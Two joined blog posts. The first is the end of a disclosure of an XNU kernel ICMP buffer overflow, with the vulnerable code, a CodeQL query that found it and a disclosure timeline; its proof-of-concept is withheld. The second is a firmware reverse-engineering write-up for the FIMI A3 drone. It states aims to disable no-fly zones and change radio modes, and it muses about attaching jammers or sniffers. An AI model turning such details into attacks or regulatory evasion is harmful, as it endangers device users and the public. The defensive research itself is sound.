  1. Enabling stealth mode in the macOS firewall prevents the attack from working. Kudos to my colleague Henti Smith for discovering this, because this is an obscure system setting which is not enabled by default. As far as I’m aware, stealth mode does not exist on iOS devices.
  2. Do not use public WiFi networks. The attacker needs to be on the same network as the target device. It is not usually possible to send the malicious packet across the internet. For example, I wrote a fake web server which sends back a malicious reply when the target device tries to load a webpage. In my experiments, the malicious packet never arrived, except when the web server was on the same network as the target device.

Proof-of-concept exploit

I have written a proof-of-concept exploit which triggers the vulnerability. To give Apple’s users time to upgrade, I will not publish the source code for the exploit PoC immediately. However, I have made a short video which shows the PoC in action, crashing all the Apple devices on the local network.

The vulnerability

The bug is a buffer overflow in this line of code (bsd/netinet/ip_icmp.c:339):

m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

This code is in the function icmp_error. According to the comment, the purpose of this function is to «Generate an error packet of type error in response to bad packet ip». It uses the ICMP protocol to send out the error message. The header of the packet that caused the error is included in the ICMP message, so the purpose of the call to m_copydata on line 339 is to copy the header of the bad packet into the ICMP message. The problem is that the header might be too big for the destination buffer. The destination buffer is an mbufmbuf is a datatype which is used to store both incoming and outgoing network packets. In this code, n is an incoming packet (containing untrusted data) and m is an outgoing ICMP packet. As we will see shortly, icp is a pointer into mm is allocated on line 294 or line 296:

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
  m = m_gethdr(M_DONTWAIT, MT_HEADER);  /* MAC-OK */
else
  m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

Slightly further down, on line 314mtod is used to get m‘s data pointer:

icp = mtod(m, struct icmp *);

mtod is just macro, so this line of code does not check that the mbuf is large enough to hold an icmp struct. Furthermore, the data is not copied to icp, but to &icp->icmp_ip, which is at an offset of +8 bytes from icp.

I do not have the necessary tools to be able to step through the XNU kernel in a debugger, so I am actually a little unsure about the exact allocation size of the mbuf. Based on what I see in the source code, I think that m_gethdr creates an mbuf that can hold 88 bytes, but I am less sure about m_getcl. Based on practical experiments, I have found that a buffer overflow is triggered when icmplen >= 84.

At this time, I will not say any more about how the exploit works. I want to give Apple users a chance to upgrade their devices first. However, in the relatively near future I will publish the source code for the exploit PoC in our SecurityExploits repository.

Finding the vulnerability with QL

I found this vulnerability by doing variant analysis on the bug that caused the buffer overflow vulnerability in the packet-mangler. That vulnerability was caused by a call to mbuf_copydata with a user-controlled size argument. So I wrote a simple query to look for similar bugs:

**
 * @name mbuf copydata with tainted size
 * @description Calling m_copydata with an untrusted size argument
 *              could cause a buffer overflow.
 * @kind path-problem
 * @problem.severity warning
 * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
 */

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class Config extends TaintTracking::Configuration {
  Config() { this = "tcphdr_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName().matches("%copydata"))
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "m_copydata with tainted size."

This is a simple taint-tracking query which looks for dataflow from m_mtod to the size of argument of a «copydata» function. The function named m_mtod returns the data pointer of an mbuf, so it is quite likely that it will return untrusted data. It is what the mtod macro expands to. Obviously m_mtod is just one of many sources of untrusted data in the XNU kernel, but I have not included any other sources to keep the query as simple as possible. This query returns 9 results, the first of which is the vulnerability in icmp_error. I believe the other 8 results are false positives, but the code is sufficiently complicated that I do consider them to be bad query results.

Try QL on XNU

Unlike most other open source projects, XNU is not available to query on LGTM. This is because LGTM uses Linux workers to build projects, but XNU can only be built on a Mac. Even on a Mac, XNU is highly non-trivial to build. I would not have been able to do it if I had not found this incredibly useful blog post by Jeremy Andrus. Using Jeremy Andrus’s instructions and scripts, I have manually built snapshots for the three most recent published versions of XNU. You can download the snapshots from these links: 10.13.410.13.510.13.6. Unfortunately, Apple have not yet released the source code for 10.14 (Mojave / iOS 12), so I cannot create a QL snapshot for running queries against it yet. To run queries on these QL snapshots, you will need to download QL for Eclipse. Instructions on how to use QL for Eclipse can be found here.

Timeline

  • 2018-08-09: Privately disclosed to product-security@apple.com. Proof-of-concept exploit included.
  • 2018-08-09: Report acknowledged by product-security@apple.com.
  • 2018-08-20: product-security@apple.com asked me to send them the exact macOS version number and a panic log.
  • 2018-08-20: Returned the requested information to product-security@apple.com. Also sent them a slightly improved version of the exploit PoC.
  • 2018-08-22: product-security@apple.com confirmed that the issue is fixed in the betas of macOS Mojave and iOS 12. However, they also said that they are «investigating addressing this issue on additional platforms» and that they will not disclose the issue until November 2018.
  • 2018-09-17: iOS 12 released by Apple. The vulnerability was fixed.
  • 2018-09-24: macOS Mojave released by Apple. The vulnerability was fixed.
  • 2018-10-30: Vulnerabilities disclosed.

"Send it back"

Credits

  • «I am Error». Screenshot from Zelda II: The Adventure of Link. The screenshot copyright is believed to belong to Nintendo. Image downloaded from wikipedia.
  • «Send it back». By Edward Backhouse.

Brief reverse engineering work on FIMI A3

( Original text by Konrad Iturbe )

This is the start of a new series on reverse engineering consumer products, mainly to enhance their use but also to expose data leaks and vulnerabilities.

Something caught my eye last week. Xiaomi-backed FIMI, a Shenzhen company, released a drone. I tend to avoid most cheap drones since they tend to suck (bad quality camera, bad UX…) but this one is different.

This drone has a “DIY” port. This is an UART/PWM/GPIO port with what I assume are two ports for power. FIMI showcases how the user can attach a fireworks igniter or LEDs, but my mind went instantly to this DEF CON presentation from this year. The project is about a drone which is difficult to intercept but the author of the presentation also shows some offensive uses of drones. This drone can theoretically have a WiFi jammer or a promiscuous WiFi packet sniffer which can be activated from the ground. Possibilities are endless when you have this sort of port. The A3 also does not need a smartphone for operation, it includes a remote controller with an LCD panel. Having a smartphone controlling the drone opens a new vector for attackers (wifi network between the remote controller and cellphone can be brute forced, phone can have malware…). DJI does not yet have a all-in-one remote controller but Xiaomi has outsmarted them. Chinese innovation at its finest.

DIY port. Time to attach a RPI Zero with a pinneapple.
Some payloads that can be attached to drones. Source: David Melendez’s DEF CON talk PDF

On the camera side for those interested this drone is rocking the AMBA A12 chipset with a 1440p Sony CMOS sensor. Takes 8MP stills and can record 1080p video at 30FPS with a bitrate of 60 MB/s. The gimbal is 2 axis, just like the DJI Spark but at ~$250 this drone is a worthy competitor of the DJI Spark. If it only shot 4K video and had 3 axis gimbal, but we can’t have everything in life.


Part 1: The firmware(s):

FIMI makes the firmware available for downloading to anyone here.

The firmware is split into 3: The AMBA A12 firmware, the Drone Cortex A7 firmware and the remote controller firmware.

wget https://www.fimi.com/media/Productattachments//f/2/f21a-a-v010sp12rtm181027r16987-cn-rtm_u-release-741c119eb4d25878e21045e3f3c485d4.zip -P drone_fw/

wget https://www.fimi.com/media/Productattachments//f/i/firmware.zip -P cam_fw/

wget https://www.fimi.com/media/Productattachments//r/2/r21a-a-v010sp13rc181024r16900-cn-b_250k-release-ota-97b6c6c59241976086fabdc41472150c.zip -P remotecontrol_fw/

The firmwares are highly compressed. The filesize of each one is:

3.8M firmware.zip

488K f21a-a-v010sp12rtm181027r16987-cn-rtm_u-release-741c119eb4d25878e21045e3f3c485d4.zip

728K r21a-a-v010sp13rc181024r16900-cn-b_250k-release-ota-97b6c6c59241976086fabdc41472150c.zip

First step is to decompress each firmware zip file. After the decompression is done the remote firmware yields a 1.2M BFU file, the drone firmware is now a 492K BIN file and the camera firmware, which contains code relevant to the AMBA ISP yields 3 files: a 3.8M firmware.bin and two 0-byte files: rollback.txt and update.txt. Looking deeper at the firmware.bin file using binwalk 3 files are compressed: amba_ssp_svc.bin, dsp.bin.gz, rom.bin.gz

amba_ssp_svc.bin is a gz file, so the name should be amba_ssp_svc.bin.gz

Using extract_fw.sh we can get the gz files and their contents:

firmware.bin SHA512: 1cba74305d0491b957f1805c84e9b1cf5674002fc4f0de26905a16fb40303376187f1c35085b7455bff5c4de23cf8faa9479e4f78fd50dbf69947deb27f5d687

From here I used dd to extract the files. The “skip” flag is the location and the count is the next location — location.

dd if=[firmware.bin] of=out/amba_ssp_svc.bin.gz bs=1 skip=508 count=1812019
dd if=[firmware.bin] of=out/dsp.bin.gz bs=1 skip=1812527 count=1988127
dd if=[firmware.bin] of=out/rom.bin.gz bs=1 skip=3800654 count=143664

NOTE: All the files needed are on my github repository.

Now there is something to work with. Extrac each file with gunzip and we end up with:

4.3M amba_ssp_svc.bin
4.9M dsp.bin
2.3M rom.bin

Part 2: Ambarella chipset:

This is as far as we get. The 4.3M file is the AMBA chipset firmware. From here we can use some of the methods I used in reverse engineering GoPro camera firmwares:

strings amba_ssp_svc.bin | grep “c:\\\\”

The aim of this reverse engineering work is to:

  • See if we can flash our own images onto the drone
  • See what kind of resolutions and frame rates are available
  • See if we can run custom commands or get a telnet/RTOS session
  • Disable NFZ (No Fly Zones) and enable FCC (US 5GHz mode) in Europe
  • Can we root the drone?

It appears we can flash images from the SD card to the drone:

C:\version.txt
C:\update.txt
C:\rollback.txt
C:\firmware.bin

As per the resolutions, see cam_fw/out/README.md in the GitHub repository.

The AMBA A12 chipset accepts some commands, including what appears to be RTOS USB Shell.

The drone firmware and controller firmware don’t have such ways of getting into. The drone firmware is a bin file with no sections and the remote controller firmware is a bfu file.

It’d be interesting if the drone can fly on offline waypoints. Attaching a WiFi sniffer just got a whole lot easier.

I ordered this drone but it won’t arrive soon since it’s a pre-order.

Stay tuned for part 2!

GitHub repository: https://github.com/KonradIT/fimi_a3